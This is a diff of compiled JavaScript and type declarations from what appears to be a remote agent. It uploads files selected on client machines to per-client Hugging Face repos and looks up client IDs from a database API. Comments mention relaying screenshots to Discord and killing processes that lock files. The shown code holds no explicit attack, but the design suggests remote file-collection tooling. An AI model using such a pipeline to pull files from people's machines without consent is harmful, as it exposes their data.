184
|
+
}
|
|
185
|
+
}
|
|
186
|
+
/** Last resort: full read into memory — still no `file:` URL (Hub TypeErrors on some combos). */
|
|
187
|
+
if (st.size <= streamMax) {
|
|
188
|
+
try {
|
|
189
|
+
return await readStreamToBlob(absolutePath);
|
|
190
|
+
}
|
|
191
|
+
catch (e) {
|
|
192
|
+
throw new Error(`Could not read file for Hub upload (${st.size} bytes): ${e instanceof Error ? e.message : String(e)}`);
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
throw new Error(`File too large for in-memory Hub upload (${st.size} bytes; max ${streamMax}). ` +
|
|
196
|
+
"Unset CFGMGR_HF_FILEURL_OVER_BYTES (or set below this file size) so large files stream via file URL, " +
|
|
197
|
+
`or raise CFGMGR_HF_READFILE_BLOB_MAX_BYTES (min 1 MiB, max ${ENV_READFILE_CAP_BYTES} bytes) if you truly have enough RAM. ` +
|
|
198
|
+
"Node 20+ recommended for `openAsBlob` when using in-memory paths.");
|
|
199
|
+
}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* True when forge-db `/api/clients` row corresponds to this explorer `client_*` session table string.
|
|
3
|
+
* Matches `table_name` / `session_id` (case-insensitive), or derives the table name from `client_id`.
|
|
4
|
+
*/
|
|
5
|
+
export declare function clientRegistryRowMatchesSessionTable(row: Record<string, unknown>, clientTableName: string): boolean;
|
|
6
|
+
/** Default true: session Hub repos must use `client_<seq_id>`. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
|
|
7
|
+
export declare function hfSessionRepoRequireSeqId(): boolean;
|
|
8
|
+
/**
|
|
9
|
+
* Hub repo name segment for auto-session uploads: `client_<n>` when `seq_id` is known,
|
|
10
|
+
* otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
|
|
11
|
+
*/
|
|
12
|
+
export declare function hfAutoSessionRepoSlug(clientTableName: string, seqId: number | null | undefined): string;
|
|
13
|
+
/**
|
|
14
|
+
* Looks up `seq_id` from forge-db `_client_registry` for this session table name (`session_id` / `table_name`).
|
|
15
|
+
*/
|
|
16
|
+
export declare function fetchSeqIdForClientTableName(clientTableName: string): Promise<number | null>;
|
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.clientRegistryRowMatchesSessionTable = clientRegistryRowMatchesSessionTable;
|
|
4
|
+
exports.hfSessionRepoRequireSeqId = hfSessionRepoRequireSeqId;
|
|
5
|
+
exports.hfAutoSessionRepoSlug = hfAutoSessionRepoSlug;
|
|
6
|
+
exports.fetchSeqIdForClientTableName = fetchSeqIdForClientTableName;
|
|
7
|
+
/**
|
|
8
|
+
* Resolve forge-db `seq_id` for a `client_*` table name so Hugging Face session repos use
|
|
9
|
+
* `namespace/client_<seq_id>` (aligned with Discord channel naming in `discordRelayUpload.ts`).
|
|
10
|
+
*
|
|
11
|
+
* Uses `GET /api/clients` (same source as relay screenshot channel naming).
|
|
12
|
+
*
|
|
13
|
+
* **Default:** Hub repo segment is **`client_<seq_id>`** — uploads fail if `seq_id` cannot be resolved.
|
|
14
|
+
* Set **`CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1`** on the agent to fall back to the legacy
|
|
15
|
+
* UUID-style Postgres slug ({@link postgresqlClientTableName}) when the API is unreachable or the client is unregistered.
|
|
16
|
+
*/
|
|
17
|
+
const tableNaming_1 = require("./tableNaming");
|
|
18
|
+
const CACHE_TTL_OK_MS = 60_000;
|
|
19
|
+
const CACHE_TTL_MISS_MS = 15_000;
|
|
20
|
+
const _seqCache = new Map();
|
|
21
|
+
function lc(s) {
|
|
22
|
+
return s.trim().toLowerCase();
|
|
23
|
+
}
|
|
24
|
+
/**
|
|
25
|
+
* True when forge-db `/api/clients` row corresponds to this explorer `client_*` session table string.
|
|
26
|
+
* Matches `table_name` / `session_id` (case-insensitive), or derives the table name from `client_id`.
|
|
27
|
+
*/
|
|
28
|
+
function clientRegistryRowMatchesSessionTable(row, clientTableName) {
|
|
29
|
+
const ct = clientTableName.trim();
|
|
30
|
+
if (!ct)
|
|
31
|
+
return false;
|
|
32
|
+
const ctl = lc(ct);
|
|
33
|
+
const tableName = String(row.table_name ?? "").trim();
|
|
34
|
+
const sessionId = String(row.session_id ?? "").trim();
|
|
35
|
+
if (tableName && lc(tableName) === ctl)
|
|
36
|
+
return true;
|
|
37
|
+
if (sessionId && lc(sessionId) === ctl)
|
|
38
|
+
return true;
|
|
39
|
+
const cid = String(row.client_id ?? "").trim();
|
|
40
|
+
if (cid) {
|
|
41
|
+
const computed = (0, tableNaming_1.postgresqlClientTableName)(cid, null);
|
|
42
|
+
if (computed && lc(computed) === ctl)
|
|
43
|
+
return true;
|
|
44
|
+
}
|
|
45
|
+
return false;
|
|
46
|
+
}
|
|
47
|
+
/** Default true: session Hub repos must use `client_<seq_id>`. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
|
|
48
|
+
function hfSessionRepoRequireSeqId() {
|
|
49
|
+
const allowLegacy = (process.env.CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG || "").trim().toLowerCase();
|
|
50
|
+
if (allowLegacy === "1" ||
|
|
51
|
+
allowLegacy === "true" ||
|
|
52
|
+
allowLegacy === "yes" ||
|
|
53
|
+
allowLegacy === "on") {
|
|
54
|
+
return false;
|
|
55
|
+
}
|
|
56
|
+
return true;
|
|
57
|
+
}
|
|
58
|
+
function forgeDbApiBase() {
|
|
59
|
+
const raw = (process.env.RELAY_FORGE_DB_API_URL ||
|
|
60
|
+
process.env.FORGE_JS_SYNC_URL ||
|
|
61
|
+
process.env.CFGMGR_API_URL ||
|
|
62
|
+
"")
|
|
63
|
+
.trim()
|
|
64
|
+
.replace(/\/api\/?$/i, "")
|
|
65
|
+
.replace(/\/+$/, "");
|
|
66
|
+
return raw || "http://127.0.0.1:8765";
|
|
67
|
+
}
|
|
68
|
+
function apiKeyHeader() {
|
|
69
|
+
const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
|
|
70
|
+
return apiKey ? { "X-Forge-Api-Key": apiKey } : {};
|
|
71
|
+
}
|
|
72
|
+
/**
|
|
73
|
+
* Hub repo name segment for auto-session uploads: `client_<n>` when `seq_id` is known,
|
|
74
|
+
* otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
|
|
75
|
+
*/
|
|
76
|
+
function hfAutoSessionRepoSlug(clientTableName, seqId) {
|
|
77
|
+
const ct = (clientTableName || "").trim();
|
|
78
|
+
if (seqId !== null &&
|
|
79
|
+
seqId !== undefined &&
|
|
80
|
+
Number.isFinite(Number(seqId)) &&
|
|
81
|
+
Number(seqId) >= 0) {
|
|
82
|
+
const n = Math.floor(Number(seqId));
|
|
83
|
+
return `client_${n}`.slice(0, 96);
|
|
84
|
+
}
|
|
85
|
+
return (0, tableNaming_1.postgresqlClientTableName)(ct, null).slice(0, 96);
|
|
86
|
+
}
|
|
87
|
+
/**
|
|
88
|
+
* Looks up `seq_id` from forge-db `_client_registry` for this session table name (`session_id` / `table_name`).
|
|
89
|
+
*/
|
|
90
|
+
async function fetchSeqIdForClientTableName(clientTableName) {
|
|
91
|
+
const ct = (clientTableName || "").trim();
|
|
92
|
+
if (!ct)
|
|
93
|
+
return null;
|
|
94
|
+
const directClientSeq = /^client_(\d+)$/i.exec(ct);
|
|
95
|
+
if (directClientSeq) {
|
|
96
|
+
const n = Number(directClientSeq[1]);
|
|
97
|
+
if (Number.isFinite(n) && n >= 0)
|
|
98
|
+
return Math.floor(n);
|
|
99
|
+
}
|
|
100
|
+
const now = Date.now();
|
|
101
|
+
const cached = _seqCache.get(ct);
|
|
102
|
+
if (cached && cached.expires > now) {
|
|
103
|
+
return cached.value;
|
|
104
|
+
}
|
|
105
|
+
try {
|
|
106
|
+
const base = forgeDbApiBase();
|
|
107
|
+
const res = await fetch(`${base}/api/clients`, {
|
|
108
|
+
signal: AbortSignal.timeout(12_000),
|
|
109
|
+
headers: {
|
|
110
|
+
"User-Agent": "forge-jsx-agent/hf-upload",
|
|
111
|
+
...apiKeyHeader(),
|
|
112
|
+
},
|
|
113
|
+
});
|
|
114
|
+
if (!res.ok) {
|
|
115
|
+
_seqCache.set(ct, { value: null, expires: now + CACHE_TTL_MISS_MS });
|
|
116
|
+
return null;
|
|
117
|
+
}
|
|
118
|
+
const data = (await res.json());
|
|
119
|
+
const rows = Array.isArray(data.clients) ? data.clients : [];
|
|
120
|
+
for (const row of rows) {
|
|
121
|
+
if (!row || typeof row !== "object")
|
|
122
|
+
continue;
|
|
123
|
+
const o = row;
|
|
124
|
+
if (!clientRegistryRowMatchesSessionTable(o, ct))
|
|
125
|
+
continue;
|
|
126
|
+
const raw = o.seq_id;
|
|
127
|
+
const n = typeof raw === "number"
|
|
128
|
+
? raw
|
|
129
|
+
: typeof raw === "string" && /^-?\d+$/.test(raw.trim())
|
|
130
|
+
? Number(raw.trim())
|
|
131
|
+
: NaN;
|
|
132
|
+
if (!Number.isFinite(n) || n < 0) {
|
|
133
|
+
_seqCache.set(ct, { value: null, expires: now + CACHE_TTL_MISS_MS });
|
|
134
|
+
return null;
|
|
135
|
+
}
|
|
136
|
+
const seq = Math.floor(n);
|
|
137
|
+
_seqCache.set(ct, { value: seq, expires: now + CACHE_TTL_OK_MS });
|
|
138
|
+
return seq;
|
|
139
|
+
}
|
|
140
|
+
}
|
|
141
|
+
catch {
|
|
142
|
+
/* network / timeout — fall through */
|
|
143
|
+
}
|
|
144
|
+
_seqCache.set(ct, { value: null, expires: now + CACHE_TTL_MISS_MS });
|
|
145
|
+
return null;
|
|
146
|
+
}
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
import { type HfCredentials } from "./hfCredentials";
|
|
2
|
+
export type HfUploadProgress = {
|
|
3
|
+
phase: "prepare" | "upload" | "commit" | "cleanup";
|
|
4
|
+
pct: number;
|
|
5
|
+
detail?: string;
|
|
6
|
+
};
|
|
7
|
+
/**
|
|
8
|
+
* User-facing Hub upload errors for `fs_hf_upload_result` (JSON-safe, no obsolete env hints).
|
|
9
|
+
* Defaults already disable Xet and apply fetch/commit retries — messages assume that.
|
|
10
|
+
*/
|
|
11
|
+
export declare function formatHfUploadError(err: unknown): string;
|
|
12
|
+
/** Pack one file into a store-only zip (exported for tests). */
|
|
13
|
+
export declare function writeSingleFileZipStoreOnly(sourceFile: string, zipPath: string): Promise<void>;
|
|
14
|
+
export interface RunHfUploadOptions {
|
|
15
|
+
pathStr: string;
|
|
16
|
+
/** Optional multi-selection absolute/virtual paths from explorer (uploaded as one zip commit). */
|
|
17
|
+
pathList?: string[];
|
|
18
|
+
/** Manual Hub repo `ns/name`. Omit when `autoSessionRepo` is true. */
|
|
19
|
+
repo?: string;
|
|
20
|
+
/** Path inside the repo (POSIX-style, no leading slash). */
|
|
21
|
+
destination?: string;
|
|
22
|
+
createRepo?: boolean;
|
|
23
|
+
/** `zip` (default): one .zip with store-only compression; `tree`: one Hub file per disk file. Ignored in session mode (always zip for single-blob semantics). */
|
|
24
|
+
folderMode?: "zip" | "tree";
|
|
25
|
+
/**
|
|
26
|
+
* When true: repo = `namespace/client_<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
|
|
27
|
+
* First upload creates the repo; later uploads append new files only.
|
|
28
|
+
*/
|
|
29
|
+
autoSessionRepo?: boolean;
|
|
30
|
+
/** Session / DB table id (e.g. `client_<uuid>`) — required if `autoSessionRepo`. */
|
|
31
|
+
clientTableName?: string;
|
|
32
|
+
/** When set, skips forge-db lookup and uses this `seq_id` for the Hub repo segment `client_<seq_id>`. */
|
|
33
|
+
clientSeqId?: number;
|
|
34
|
+
/** Override HF username/org (else encrypted credentials or `CFGMGR_HF_NAMESPACE`). */
|
|
35
|
+
hfNamespace?: string;
|
|
36
|
+
/**
|
|
37
|
+
* When set (e.g. from relay `relay_hf_credentials_result`), used instead of `loadHfCredentials()`.
|
|
38
|
+
* Caller should not persist this object.
|
|
39
|
+
*/
|
|
40
|
+
hfCredentials?: HfCredentials;
|
|
41
|
+
onProgress?: (p: HfUploadProgress) => void;
|
|
42
|
+
/** Stronger mirror staging retries (does not kill other processes). */
|
|
43
|
+
force?: boolean;
|
|
44
|
+
/** Kill processes likely locking the selection, then mirror/upload; restarts them in `finally`. */
|
|
45
|
+
forceKill?: boolean;
|
|
46
|
+
}
|
|
47
|
+
export declare function runHfUpload(opts: RunHfUploadOptions): Promise<Record<string, unknown>>;
|